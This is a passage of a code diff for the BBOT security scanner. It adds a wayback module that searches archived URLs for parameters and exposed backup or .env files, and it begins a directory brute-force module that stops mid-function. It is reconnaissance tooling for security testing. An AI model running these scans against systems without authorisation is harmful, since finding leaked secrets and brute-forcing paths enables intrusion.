     base_url = "http://web.archive.org"
+    url_blacklist = ["_Incapsula_Resource", "/cdn-cgi/"]
+
+    interesting_extensions = frozenset({"zip", "sql", "bak", "env", "config"})
+    interesting_compound_extensions = frozenset({"tar.gz", "tar.bz2"})
+
+    # maximum URL length before we consider it garbage (crawler traps produce absurdly long URLs)
+    _max_url_length = 2000
+    # if any single path segment repeats more than this many times, it's a path loop / crawler trap
+    _max_path_segment_repeats = 3
+
+    # YARA rules for filtering junk URLs out of CDX results.
+    # Each rule's meta block should set category = "url_junk" and a `description`.
+    # To add a new pattern, add an entry — rule names must be unique across the dict.
+    _junk_url_yara_rules = {
+        # Per-session bot-manager challenge URLs (Akamai-style randomized paths).
+        # Counts path segments that contain all three of: uppercase, lowercase,
+        # and digit/underscore. The big alternation enumerates the six
+        # possible orderings of those three character classes within a segment.
+        # Threshold of 2 catches every URL in the validation corpus and leaves
+        # CamelCase REST paths (/api/v1/MyController/getStuff) untouched because
+        # those don't contain a digit or underscore inside the camelCase segment.
+        "akamai_bot_manager_url": r"""
+rule akamai_bot_manager_url
+{
+    meta:
+        author = "BBOT"
+        description = "Per-session bot-manager challenge URL with random-looking path segments mixing case and digits/symbols"
+        category = "url_junk"
+        confidence = "HIGH"
+
+    strings:
+        $strict_seg = /\/[A-Za-z0-9_-]*([A-Z][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[0-9_]|[A-Z][A-Za-z0-9_-]*[0-9_][A-Za-z0-9_-]*[a-z]|[a-z][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[0-9_]|[a-z][A-Za-z0-9_-]*[0-9_][A-Za-z0-9_-]*[A-Z]|[0-9_][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[a-z]|[0-9_][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[A-Z])[A-Za-z0-9_-]*/
+
+    condition:
+        #strict_seg >= 2
+}
+""",
+    }
+
+    def _is_garbage_url(self, url):
+        """Detect crawler-trap URLs with repeating path segments or excessive length."""
+        if len(url) > self._max_url_length:
+            return True
+        path = urlparse(url).path
+        if not path:
+            return False
+        segments = [s for s in path.split("/") if s]
+        if not segments:
+            return False
+        counts = Counter(segments)
+        return counts.most_common(1)[0][1] > self._max_path_segment_repeats
+
+    # Per-URL match threshold for the YARA junk-URL rules.
+    # The akamai_bot_manager_url rule requires #strict_seg >= 2.
+    _junk_url_match_threshold = 2
+
+    def _filter_urls_sync(self, urls):
+        """Drop blacklisted, garbage, and YARA-junk URLs in one pass. Returns (kept, junk_dropped).
+
+        YARA matching is batched: all candidate URLs are concatenated into
+        a single UTF-8 blob (newline-delimited) and matched once, then
+        string instance offsets are mapped back to individual URLs and
+        counted per-URL against ``_junk_url_match_threshold``. Batching
+        replaces a per-URL ``rules.match()`` call and cuts allocation
+        pressure to a single match invocation.
+        """
+        # Phase 1: cheap filters (blacklist + garbage)
+        candidates = []
+        for url in urls:
+            if any(bl in url for bl in self.url_blacklist):
+                continue
+            if self._is_garbage_url(url):
+                continue
+            candidates.append(url)
+
+        if not candidates:
+            return [], 0
+
+        # Phase 2: batch YARA match on concatenated blob.
+        # YARA reports match offsets in bytes, so the blob and the offset
+        # table must both be built from the UTF-8 encodings. A char-count
+        # offset table is misaligned for any URL containing multibyte chars.
+        junk_set = set()
+        encoded = [url.encode("utf-8") for url in candidates]
+        blob = b"\n".join(encoded)
+        matches = self._junk_url_rules.match(data=blob)
+        if matches:
+            offsets = []
+            pos = 0
+            for enc in encoded:
+                offsets.append(pos)
+                pos += len(enc) + 1
+
+            match_counts = [0] * len(candidates)
+            for m in matches:
+                for s in m.strings:
+                    for instance in s.instances:
+                        idx = bisect.bisect_right(offsets, instance.offset) - 1
+                        if 0 <= idx < len(candidates):
+                            match_counts[idx] += 1
+
+            threshold = self._junk_url_match_threshold
+            for idx, count in enumerate(match_counts):
+                if count >= threshold:
+                    junk_set.add(idx)
+
+        kept = [url for idx, url in enumerate(candidates) if idx not in junk_set]
+        return kept, len(junk_set)
+
+    def _is_interesting_file(self, url):
+        ext = get_file_extension(url)
+        if ext and ext.lower() in self.interesting_extensions:
+            return True
+        lower_url = url.lower()
+        return any(lower_url.endswith(f".{ce}") for ce in self.interesting_compound_extensions)
 
     async def setup(self):
         self.urls = self.config.get("urls", False)
+        self.parameters = self.config.get("parameters", False)
+        if self.parameters:
+            if not self.urls:
+                self.hugewarning("parameters option requires urls to be enabled. Please add modules.wayback.urls=True")
+                return False
+            consumers = [m for m, mod in self.scan.modules.items() if "WEB_PARAMETER" in mod.watched_events]
+            if not consumers:
+                self.warning("Disabling parameter extraction because no modules consume WEB_PARAMETER events")
+                self.parameters = False
+            else:
+                self.hugeinfo(
+                    f"Parameter extraction enabled because the following modules consume WEB_PARAMETER events: [{', '.join(consumers)}]"
+                )
+        self.archive = self.config.get("archive", False)
+        if self.archive and not self.urls:
+            self.hugewarning("archive option requires urls to be enabled. Please add modules.wayback.urls=True")
+            return False
         self.garbage_threshold = self.config.get("garbage_threshold", 10)
+        self.max_records = self.config.get("max_records", 100000)
+        self._parameter_cache = {}
+        self._archive_cache = {}
+        # bloom filter to deduplicate archive fetches by the response URL archive.org actually served
+        # (multiple request URLs can redirect to the same archived snapshot)
+        # 32M bits (~4MB) supports ~400K entries with negligible false-positive rate
+        self._archive_bloom = self.helpers.bloom_filter(32000000)
+        self._junk_url_rules = self.helpers.yara.compile(source="\n".join(self._junk_url_yara_rules.values()))
         return await super().setup()
 
+    def _incoming_dedup_hash(self, event):
+        # URL events are handled differently (parameter/archive cache eviction),
+        # so they should not be deduplicated by the subdomain_enum strategy
+        if event.type == "URL":
+            return hash(event.url), "url_event"
+        return super()._incoming_dedup_hash(event)
+
+    async def filter_event(self, event):
+        # URL events are handled separately and don't need subdomain_enum's wildcard/cloud filtering
+        if event.type == "URL":
+            return True
+        return await super().filter_event(event)
+
     async def handle_event(self, event):
+        if event.type == "URL":
+            await self._handle_url_event(event)
+            return
+
+        if await self._is_http_wildcard_host(event) is True:
+            self.debug(f"Skipping wayback query for {event.host}: HTTP wildcard responder")
+            return
+
         query = self.make_query(event)
-        for result, event_type in await self.query(query):
+        results, interesting_files = await self.query(query)
+        for result, event_type in results:
+            tags = ["from-wayback"] if event_type == "URL_UNVERIFIED" else []
             await self.emit_event(
                 result,
                 event_type,
                 event,
+                tags=tags,
                 abort_if=self.abort_if,
-                context=f'{{module}} queried archive.org for "{query}" and found {{event.type}}: {{event.data}}',
+                context=f'{{module}} queried archive.org for "{query}" and found {{event.type}}: {{event.pretty_string}}',
             )
 
-    async def query(self, query):
-        results = set()
-        waybackurl = f"{self.base_url}/cdx/search/cdx?url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original"
-        r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 10)
-        if not r:
-            self.warning(f'Error connecting to archive.org for query "{query}"')
-            return results
+        if interesting_files:
+            await self._check_interesting_files(interesting_files, event)
+
+        # pair unpaired archive cache entries with their parent DNS_NAME event
+        if self.archive:
+            paired = 0
+            for url_str in list(self._archive_cache):
+                if isinstance(self._archive_cache[url_str], str):
+                    self._archive_cache[url_str] = (self._archive_cache[url_str], event)
+                    paired += 1
+            if paired:
+                self.debug(f"Paired {paired} archive cache entries with parent event {event.data}")
+
+    async def _handle_url_event(self, event):
+        """Process a URL event: evict live URLs from archive cache and emit cached parameters."""
+        if self.archive:
+            status_code = 0
+            for tag in event.tags:
+                if tag.startswith("status-"):
+                    try:
+                        status_code = int(tag.split("-", 1)[1])
+                    except ValueError:
+                        pass
+                    break
+            # only 2xx counts as live — 3xx (e.g. http→https 301 to a 404) doesn't confirm the page exists
+            if 200 <= status_code < 300:
+                cleaned = clean_url(event.url).geturl()
+                if self._archive_cache.pop(cleaned, None) is not None:
+                    self.verbose(f"URL is live (status {status_code}), removed from archive cache: {cleaned}")
+
+        cached = self._parameter_cache.pop(clean_url(event.url).geturl(), None)
+        if cached is not None:
+            flat_params, base_url = cached
+            for param_name, original_value in flat_params.items():
+                data = {
+                    "host": str(event.host),
+                    "type": "GETPARAM",
+                    "name": param_name,
+                    "original_value": original_value,
+                    "url": base_url,
+                    "description": f"HTTP Extracted Parameter [{param_name}] (wayback)",
+                    "additional_params": {k: v for k, v in flat_params.items() if k != param_name},
+                }
+                self.verbose(f"Emitting WEB_PARAMETER [{param_name}] from archived URL {base_url}")
+                await self.emit_event(
+                    data,
+                    "WEB_PARAMETER",
+                    event,
+                    tags=["from-wayback"],
+                    context=f"{{module}} found query parameter [{param_name}] in archived URL and emitted {{event.type}}",
+                )
+
+    async def _check_interesting_files(self, interesting_files, event):
+        """HEAD-check interesting archived files and emit FINDINGs for those that exist."""
+        self.verbose(f"Checking {len(interesting_files)} interesting archived files")
+
+        # build URL list and mapping back to metadata
+        url_metadata = {}
+        for cleaned_url, raw_url in interesting_files.items():
+            archive_url = f"{self.base_url}/web/{raw_url}"
+            url_metadata[archive_url] = (cleaned_url, raw_url)
+
+        for archive_url, (cleaned_url, raw_url) in url_metadata.items():
+            try:
+                r = await self.helpers.request(
+                    archive_url, method="HEAD", timeout=self.http_timeout_infrastructure + 30, follow_redirects=True
+                )
+            except Exception as e:
+                self.debug(f"Interesting file HEAD check error for {raw_url}: {e}")
+                continue
+
+            if not r or r.status_code != 200:
+                status = getattr(r, "status_code", "no response") if r else "no response"
+                self.debug(f"Interesting file HEAD check failed for {raw_url}: status={status}")
+                continue
+            # guard against soft 404s (archive.org returns text/html for missing pages)
+            content_type = r.headers.get("content-type", "")
+            if "text/html" in content_type:
+                self.debug(f"Interesting file skipped (soft 404): {raw_url}")
+                continue
+
+            ext = get_file_extension(cleaned_url)
+            desc = f"Interesting archived file found (.{ext}): {raw_url}"
+            content_length = r.headers.get("content-length", "")
+            if content_length:
+                try:
+                    size = int(content_length)
+                    if size > 1024 * 1024:
+                        desc += f" ({size / (1024 * 1024):.1f} MB)"
+                    elif size > 1024:
+                        desc += f" ({size / 1024:.1f} KB)"
+                    else:
+                        desc += f" ({size} bytes)"
+                except ValueError:
+                    pass
+
+            self.verbose(f"Interesting archived file confirmed: {raw_url}")
+            parsed = urlparse(raw_url)
+            await self.emit_event(
+                {
+                    "description": desc,
+                    "severity": "LOW",
+                    "name": "Interesting Archived File",
+                    "confidence": "MEDIUM",
+                    "url": str(r.url),
+                    "host": str(parsed.hostname or ""),
+                },
+                "FINDING",
+                event,
+                tags=["from-wayback", "archived", "interesting-file"],
+                context=f"{{module}} found interesting archived file: {raw_url}",
+            )
+
+    # CDX API filters applied server-side to reduce response size
+    _cdx_filters = (
+        "filter=!statuscode:404",
+        "filter=!statuscode:301",
+        "filter=!statuscode:302",
+        "filter=!mimetype:image/.*",
+        "filter=!mimetype:text/css",
+        "filter=!mimetype:warc/revisit",
+    )
+
+    async def _fetch_cdx(self, query):
+        """Fetch URLs from the CDX API with retries and 429 handling. Returns the URL list or None on failure."""
+        params = f"url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original"
+        params += f"&limit={self.max_records}"
+        params += "&" + "&".join(self._cdx_filters)
+        waybackurl = f"{self.base_url}/cdx/search/cdx?{params}"
+        r = None
+        last_error = None
+        for i in range(3):
+            try:
+                r = await self.helpers.request(
+                    waybackurl, timeout=self.http_timeout_infrastructure + 60, raise_error=True
+                )
+            except Exception as e:
+                last_error = str(e)
+                r = None
+            if r is not None:
+                if r.status_code == 200:
+                    break
+                if r.status_code == 429:
+                    retry_after = r.headers.get("retry-after", "")
+                    try:
+                        delay = min(int(retry_after), 120)
+                    except (ValueError, TypeError):
+                        delay = self._archive_429_default_delay
+                    last_error = "HTTP 429 rate limited"
+                    self.verbose(f'Archive.org rate limit (429) for CDX query "{query}", sleeping {delay}s')
+                    await self.helpers.sleep(delay)
+                    r = None
+                    continue
+                last_error = f"HTTP status {r.status_code}"
+                r = None
+            if i < 2:
+                self.verbose(
+                    f'Error connecting to archive.org for query "{query}" ({last_error}), retrying ({i + 1}/2)'
+                )
+                await self.helpers.sleep(2**i)
+        if r is None:
+            self.warning(f'Error connecting to archive.org for query "{query}": {last_error}')
+            return None
+        # parse JSON + extract URLs off the event loop
+        # (CDX responses can contain 100k+ entries)
         try:
-            j = r.json()
-            assert type(j) == list
+            urls = await self.helpers.run_in_executor_cpu(_parse_cdx_response, r.text)
         except Exception:
+            urls = None
+        if urls is None:
             self.warning(f'Error JSON-decoding archive.org response for query "{query}"')
-            return results
+            return None
+        return urls
+
+    def _pre_process_urls(self, urls):
+        """Extract parameters, archive URLs, and interesting files from raw CDX URLs before collapse."""
+        raw_url_params = {}
+        archive_urls = {}
+        interesting_files = {}
 
-        urls = []
-        for result in j[1:]:
+        for url in urls:
             try:
-                url = result[0]
-                urls.append(url)
-            except KeyError:
+                parsed = urlparse(url)
+                if any(bl in url for bl in self.url_blacklist):
+                    continue
+                if self._is_garbage_url(url):
+                    continue
+                if not (parsed.hostname and self.scan.in_scope(parsed.hostname)):
+                    continue
+                # skip non-HTTP URLs (e.g. ftp:// archived by the Wayback Machine)
+                if parsed.scheme not in ("http", "https"):
+                    continue
+
+                cleaned_str = clean_url(url).geturl()
+
+                if self.archive and cleaned_str not in archive_urls:
+                    archive_urls[cleaned_str] = url
+
+                if self.urls and self._is_interesting_file(url) and cleaned_str not in interesting_files:
+                    interesting_files[cleaned_str] = url
+
+                if self.parameters and parsed.query:
+                    params = parse_qs(parsed.query)
+                    flat_params = {k: v[0] for k, v in params.items()}
+                    if flat_params:
+                        if cleaned_str not in raw_url_params:
+                            raw_url_params[cleaned_str] = flat_params
+                        else:
+                            raw_url_params[cleaned_str].update(flat_params)
+            except Exception:
                 continue
 
+        if archive_urls or interesting_files or raw_url_params:
+            self.debug(
+                f"Pre-processed {len(urls):,} URLs: {len(archive_urls):,} archive candidates, "
+                f"{len(interesting_files):,} interesting files, {len(raw_url_params):,} URLs with parameters"
+            )
+
+        return raw_url_params, archive_urls, interesting_files
+
+    async def query(self, query):
+        results = set()
+
+        urls = await self._fetch_cdx(query)
+        if urls is None:
+            return results, {}
+
         self.verbose(f"Found {len(urls):,} URLs for {query}")
 
+        # filter blacklisted, garbage, and junk URLs before any further processing
+        # (one bulk executor pass, since CDX responses can contain 100K+ URLs)
+        urls, junk_dropped = await self.helpers.run_in_executor_cpu(self._filter_urls_sync, urls)
+        if junk_dropped:
+            self.verbose(f"Filtered {junk_dropped:,} junk URLs via YARA rules for {query}")
+
+        # pre-extract metadata from raw URLs before collapse strips query strings
+        raw_url_params, archive_urls, interesting_files = {}, {}, {}
+        if self.parameters or self.archive or self.urls:
+            raw_url_params, archive_urls, interesting_files = self._pre_process_urls(urls)
+
+        if not urls:
+            return results, interesting_files
+
         dns_names = set()
         collapsed_urls = 0
         start_time = datetime.now()
-        # we consolidate URLs to cut down on garbage data
-        # this is CPU-intensive, so we do it in its own core.
-        parsed_urls = await self.helpers.run_in_executor_mp(
+        # consolidate URLs to cut down on garbage data (CPU-intensive, runs off the event loop)
+        parsed_urls = await self.helpers.run_in_executor_cpu(
             self.helpers.validators.collapse_urls,
             urls,
             threshold=self.garbage_threshold,
         )
-        for parsed_url in parsed_urls:
-            collapsed_urls += 1
-            if not self.urls:
+        if self.urls:
+            # deduplicate http/https variants — drop http when https also exists
+            url_dedup = {}
+            for parsed_url in parsed_urls:
+                collapsed_urls += 1
+                https_key = parsed_url._replace(scheme="https").geturl()
+                if https_key not in url_dedup or parsed_url.scheme == "https":
+                    url_dedup[https_key] = parsed_url
+            for parsed_url in url_dedup.values():
+                url_str = parsed_url.geturl()
+                results.add((url_str, "URL_UNVERIFIED"))
+                if self.parameters and url_str in raw_url_params:
+                    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, parsed_url.path, "", "", ""))
+                    self._parameter_cache[url_str] = (raw_url_params[url_str], base_url)
+                if self.archive and url_str in archive_urls:
+                    self._archive_cache[url_str] = archive_urls[url_str]
+        else:
+            for parsed_url in parsed_urls:
+                collapsed_urls += 1
                 dns_name = parsed_url.hostname
                 h = hash(dns_name)
                 if h not in dns_names:
                     dns_names.add(h)
                     results.add((dns_name, "DNS_NAME"))
-            else:
-                results.add((parsed_url.geturl(), "URL_UNVERIFIED"))
-        end_time = datetime.now()
-        duration = self.helpers.human_timedelta(end_time - start_time)
+
+        duration = self.helpers.human_timedelta(datetime.now() - start_time)
         self.verbose(f"Collapsed {len(urls):,} -> {collapsed_urls:,} URLs in {duration}")
-        return results
+        return results, interesting_files
+
+    _wayback_head_re = re.compile(
+        r'<script src="//archive\.org/includes/athena\.js".*?<!-- End Wayback Rewrite JS Include -->\s*',
+        re.DOTALL,
+    )
+    _wayback_toolbar_re = re.compile(
+        r"<!-- BEGIN WAYBACK TOOLBAR INSERT -->.*?<!-- END WAYBACK TOOLBAR INSERT -->\s*",
+        re.DOTALL,
+    )
+    _wayback_footer_re = re.compile(
+        r"<!--\s*FILE ARCHIVED ON.*",
+        re.DOTALL,
+    )
+    # wayback rewrites all URLs in the HTML body to go through web.archive.org, e.g.:
+    #   http://web.archive.org/web/20250524005847/http://example.com/page
+    # this regex strips the prefix to restore original URLs
+    _wayback_url_re = re.compile(r"https?://web\.archive\.org/web/\d+\w*/")
+    # relative variant of the above — wayback also rewrites hrefs/srcs as relative paths, e.g.:
+    #   /web/19971024185506/http://www.example.com/page
+    #   /web/19971024185506im_/http://www.example.com/image.gif
+    # the timestamp is always 14 digits, optionally followed by a modifier suffix (im_, js_, cs_, if_, etc.)
+    _wayback_relative_url_re = re.compile(r"/web/\d{14}\w*/")
+    # catch any remaining archive.org URLs not handled by the toolbar/head/footer regexes
+    _wayback_stale_ref_re = re.compile(r"""(?:https?:)?//(?:web\.)?archive\.org/[^\s"'<>]*""")
+
+    def _strip_wayback_wrapper(self, body):
+        """Remove Wayback Machine artifacts from archived HTML: toolbar, scripts, footer, and URL rewrites."""
+        body = self._wayback_head_re.sub("", body)
+        body = self._wayback_toolbar_re.sub("", body)
+        body = self._wayback_footer_re.sub("", body)
+        body = self._wayback_url_re.sub("", body)
+        body = self._wayback_relative_url_re.sub("", body)
+        body = self._wayback_stale_ref_re.sub("", body)
+        return body
+
+    _archive_per_request_retries = 3
+    _archive_batch_retries = 1
+    _archive_error_delay = 3  # initial backoff seconds after a failed request
+    _archive_429_default_delay = 30  # default delay on 429 when no retry-after header
+
+    async def finish(self):
+        if not self.archive or not self._archive_cache:
+            return
+
+        self.verbose(f"Loading {len(self._archive_cache):,} archived URLs from the Wayback Machine")
+
+        # build combined set of extensions to skip (blacklist + static + special)
+        skip_extensions = set(self.scan.url_extension_blacklist)
+        skip_extensions.update(e.lower() for e in self.scan.config.get("url_extension_static", []))
+        skip_extensions.update(e.lower() for e in self.scan.config.get("url_extension_special", []))
+
+        # build URL list and mapping back to metadata
+        url_metadata = {}
+        for cleaned_url, value in list(self._archive_cache.items()):
+            if not isinstance(value, tuple):
+                self.debug(f"Skipping unpaired archive entry: {cleaned_url}")
+                continue
+            raw_url, parent_event = value
+            ext = get_file_extension(cleaned_url)
+            if ext and ext in skip_extensions:
+                self.debug(f"Skipping archive fetch for {raw_url} (extension: .{ext})")
+                continue
+            archive_url = f"{self.base_url}/web/{raw_url}"
+            url_metadata[archive_url] = (raw_url, parent_event)
+
+        if not url_metadata:
+            return
+
+        total = len(url_metadata)
+        self.info(f"Fetching {total:,} archived pages from archive.org")
+
+        failed, succeeded, processed = await self._fetch_archive_batch(url_metadata, total, 0)
+
+        # batch-level retry as safety net (per-request retry handles most transient errors,
+        # but a temporary outage window could still leave a batch of failures)
+        for retry_num in range(1, self._archive_batch_retries + 1):
+            if not failed:
+                break
+            delay = 30 * retry_num
+            self.info(
+                f"Retrying {len(failed):,} failed archive fetches (batch retry {retry_num}/{self._archive_batch_retries}, "
+                f"backoff {delay}s)"
+            )
+            await self.helpers.sleep(delay)
+            retry_metadata = {url: url_metadata[url] for url in failed}
+            new_failed, new_succeeded, processed = await self._fetch_archive_batch(
+                retry_metadata, total, processed - len(failed)
+            )
+            succeeded += new_succeeded
+            failed = new_failed
+
+        if failed:
+            self.warning(f"Failed to fetch {len(failed):,} archived URLs after retries")
+        self.info(f"Archive loading complete: {succeeded:,}/{total:,} succeeded")
+
+    async def _fetch_archive_batch(self, url_metadata, total, processed_offset):
+        """Fetch a batch of archive URLs with per-request retry and rate-limit handling.
+
+        Returns (failed_urls, success_count, processed_count).
+        """
+        failed = []
+        succeeded = 0
+        skipped = 0
+        processed = processed_offset
+
+        for archive_url, (raw_url, parent_event) in url_metadata.items():
+            processed += 1
+
+            # HEAD pre-check: resolve redirects cheaply to check for duplicates
+            # before downloading the full response body
+            resolved_url = await self._resolve_archive_url(archive_url, raw_url)
+            if resolved_url is not None and resolved_url in self._archive_bloom:
+                self.verbose(f"Skipping duplicate archive response for {raw_url} (resolved URL: {resolved_url})")
+                skipped += 1
+                if processed % 50 == 0 or processed == total:
+                    self.verbose(
+                        f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed, {skipped:,} skipped)"
+                    )
+                continue
+
+            r = await self._fetch_single_archive_url(archive_url, raw_url)
+
+            if not r or r.status_code != 200:
+                status = getattr(r, "status_code", "no response") if r else "no response"
+                self.verbose(f"Archive fetch failed for {raw_url} after retries: status={status}")
+                failed.append(archive_url)
+                continue
+
+            if await self._process_archive_response(r, raw_url, parent_event):
+                succeeded += 1
+
+            if processed % 50 == 0 or processed == total:
+                self.verbose(
+                    f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed, {skipped:,} skipped)"
+                )
+
+        return failed, succeeded, processed
+
+    async def _resolve_archive_url(self, archive_url, raw_url):
+        """HEAD request to resolve the final URL after redirects, for bloom filter pre-check.
+
+        Returns the resolved URL string, or None if the HEAD request fails.
+        """
+        try:
+            r = await self.helpers.request(
+                archive_url,
+                method="HEAD",
+                timeout=self.http_timeout_infrastructure + 30,
+                follow_redirects=True,
+                raise_error=True,
+            )
+        except Exception as e:
+            self.debug(f"HEAD pre-check failed for {raw_url}: {e}")
+            return None
+        if r.status_code == 429:
+            retry_after = r.headers.get("retry-after", "")
+            try:
+                delay = min(int(retry_after), 120)
+            except (ValueError, TypeError):
+                delay = self._archive_429_default_delay
+            self.verbose(f"Archive.org rate limit (429) during HEAD pre-check for {raw_url}, sleeping {delay}s")
+            await self.helpers.sleep(delay)
+            return None
+        if r.status_code == 200:
+            return str(r.url)
+        return None
+
+    async def _fetch_single_archive_url(self, archive_url, raw_url):
+        """Fetch a single archive URL with per-request retry, 429 handling, and backoff.
+
+        archive.org rate-limits CDX at ~60 req/min and blocks the IP at the firewall
+        if 429 responses are ignored for more than a minute. We must respect 429 + Retry-After.
+        """
+        r = None
+        for attempt in range(self._archive_per_request_retries):
+            try:
+                r = await self.helpers.request(
+                    archive_url, timeout=self.http_timeout_infrastructure + 60, follow_redirects=True, raise_error=True
+                )
+            except Exception as e:
+                r = None
+                if attempt < self._archive_per_request_retries - 1:
+                    delay = self._archive_error_delay * (2**attempt)
+                    self.verbose(
+                        f"Archive fetch error for {raw_url} (attempt {attempt + 1}/{self._archive_per_request_retries}): "
+                        f"{e} -- retrying in {delay}s"
+                    )
+                    await self.helpers.sleep(delay)
+                else:
+                    self.verbose(
+                        f"Archive fetch error for {raw_url} (final attempt {attempt + 1}/{self._archive_per_request_retries}): {e}"
+                    )
+                continue
+
+            if r.status_code == 429:
+                retry_after = r.headers.get("retry-after", "")
+                try:
+                    delay = min(int(retry_after), 120)
+                except (ValueError, TypeError):
+                    delay = self._archive_429_default_delay
+                self.verbose(f"Archive.org rate limit (429) for {raw_url}, sleeping {delay}s")
+                await self.helpers.sleep(delay)
+                r = None
+                continue
+
+            # any other status code (200, 404, 503, etc.) is a definitive answer — return it
+            return r
+
+        return r
+
+    async def _process_archive_response(self, r, raw_url, parent_event):
+        """Process a successful archive.org response into an HTTP_RESPONSE event. Returns True on success."""
+        # deduplicate by the actual response URL archive.org served (after redirects)
+        # multiple request URLs can redirect to the same archived snapshot
+        response_url = str(r.url)
+        if response_url in self._archive_bloom:
+            self.verbose(f"Skipping duplicate archive response for {raw_url} (response URL: {response_url})")
+            return False
+        self._archive_bloom.add(response_url)
+
+        j = self.helpers.response_to_json(r)
+        if not j:
+            self.verbose(f"Failed to parse archive response for {raw_url}")
+            return False
+
+        if "body" in j:
+            j["body"] = self._strip_wayback_wrapper(j["body"])
+
+        # strip wayback-injected headers to prevent excavate from extracting archive.org artifacts
+        if "header" in j:
+            j["header"] = {
+                k: v for k, v in j["header"].items() if not k.startswith("x_archive_") and k != "set_cookie"
+            }
+        if "raw_header" in j:
+            j["raw_header"] = "\r\n".join(
+                line
+                for line in j["raw_header"].split("\r\n")
+                if not line.lower().startswith(("set-cookie:", "x-archive-"))
+            )
+
+        # use the original URL so event.host returns the original host, not web.archive.org
+        # this prevents internal modules (speculate, host, dnsresolve) from treating archive.org as a target
+        parsed_original = urlparse(raw_url)
+        hostname = str(parsed_original.hostname or "")
+        port = parsed_original.port or (443 if parsed_original.scheme == "https" else 80)
+        scheme = parsed_original.scheme
+        # strip redundant port (e.g. :80 for http, :443 for https)
+        if (scheme == "http" and port == 80) or (scheme == "https" and port == 443):
+            netloc = hostname
+        else:
+            netloc = f"{hostname}:{port}"
+        j["url"] = urlunparse((scheme, netloc, parsed_original.path or "/", "", parsed_original.query, ""))
+        # store the archive URL for provenance — downstream modules can check this field
+        j["archive_url"] = str(r.url)
+        # override host/port/scheme/path to match the original URL (response_to_json set them from archive.org)
+        j["host"] = hostname
+        j["port"] = port
+        j["scheme"] = scheme
+        j["path"] = parsed_original.path or "/"
+
+        http_response = self.make_event(
+            j,
+            "HTTP_RESPONSE",
+            parent_event,
+            tags=["from-wayback", "archived"],
+            context=f"{{module}} loaded archived version of {raw_url} from the Wayback Machine",
+        )
+        if http_response is None:
+            self.verbose(f"Failed to create HTTP_RESPONSE event for {raw_url}")
+            return False
+        # keep the event in scope so modules like badsecrets can process the archived content
+        http_response.scope_distance = 0
+        self.verbose(f"Emitting archived HTTP_RESPONSE for dead URL: {raw_url}")
+        await self.emit_event(http_response)
+        return True
diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py
new file mode 100644
index 0000000000..441848f465
--- /dev/null
+++ b/bbot/modules/webbrute.py
@@ -0,0 +1,369 @@
+import random
+import string
+from typing import Union
+
+import blasthttp
+
+from bbot.core.helpers.diff import HttpCompare
+from bbot.core.helpers.web.web import iter_batch_results
+from bbot.errors import HttpCompareError
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class webbrute(BaseModule):
+    watched_events = ["URL"]
+    produced_events = ["URL_UNVERIFIED"]
+    flags = ["active", "loud"]
+    meta = {
+        "description": "A fast web fuzzer powered by blasthttp",
+        "created_date": "2022-04-10",
+        "author": "@liquidsec",
+    }
+
+    class Config(BaseModuleConfig):
+        wordlist: Union[str, list[str]] = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt",
+            description="Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).",
+        )
+        lines: int = Field(5000, description="take only the first N lines from the wordlist when finding directories")
+        max_depth: int = Field(0, description="the maximum directory depth to attempt to solve")
+        extensions: Union[str, list[str]] = Field(
+            "",
+            description="Optionally include a list of extensions to extend the keyword with (comma separated or YAML list)",
+        )
+        ignore_case: bool = Field(False, description="Only put lowercase words into the wordlist")
+        rate: int = Field(0, description="Maximum requests per second (0 = unlimited)")
+        concurrency: int = Field(50, description="Number of concurrent requests per URL being fuzzed")
+        avoid_wafs: bool = Field(
+            True, description="Avoid running against confirmed WAFs, which are likely to block brute-force requests"
+        )
+
+    banned_characters = {" "}
+    blacklist = ["images", "css", "image"]
+
+    in_scope_only = True
+    _module_threads = 4
+
+    async def setup_deps(self):
+        self.wordlist = await self.helpers.wordlist(self.config.get("wordlist"))
+        return True
+
+    async def setup(self):
+        self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10))
+        self.blast_client = self.helpers.blasthttp
+        self.waf_yara_rules = self.helpers.yara.compile_strings(self.helpers.get_waf_strings(), nocase=True)
+        wordlist_url = self.config.get("wordlist", "")
+        self.debug(f"Using wordlist [{wordlist_url}]")
+        self.wordlist_lines = self.generate_wordlist(self.wordlist)
+        self.words, words_len = self.generate_templist()
+        self.rate = self.config.get("rate", 0) or None
+        self.concurrency = self.config.get("concurrency", 50)
+        # warn if the module rate limit is less restrictive than the global setting
+        global_rate = self.scan.web_config.get("http_rate_limit", 0)
+        if self.rate and global_rate and global_rate < self.rate:
+            self.info(
+                f"Module rate limit ({self.rate} rps) is higher than global http_rate_limit ({global_rate} rps). "
+                f"The more restrictive global setting will be used."
+            )
+        self._host_timeouts = {}
+        self._blocked_hosts = set()
+        self.verbose(f"Generated dynamic wordlist with length [{str(words_len)}]")
+        try:
+            self.extensions = self.helpers.chain_lists(self.config.get("extensions", ""), validate=True)
+            self.debug(f"Using custom extensions: [{','.join(self.extensions)}]")
+        except ValueError as e:
+            self.warning(f"Error parsing extensions: {e}")
+            return False
+        return True
+
+    async def handle_event(self, event):
+        if self.helpers.url_depth(event.url) > self.config.get("max_depth"):
+            self.debug("Exceeded max depth, aborting event")
+            return
+
+        # only fuzz against a directory
+        if "." in event.parsed_url.path.split("/")[-1]:
+            self.debug("Aborting fuzz as period was detected in right-most path segment (likely a file)")
+            return
+        else:
+            # if we think its a directory, normalize it.
+            fixed_url = event.url.rstrip("/") + "/"
+
+        exts = ["", "/"]
+        if self.extensions:
+            for ext in self.extensions:
+                exts.append(f".{ext}")
+
+        netloc = event.parsed_url.netloc
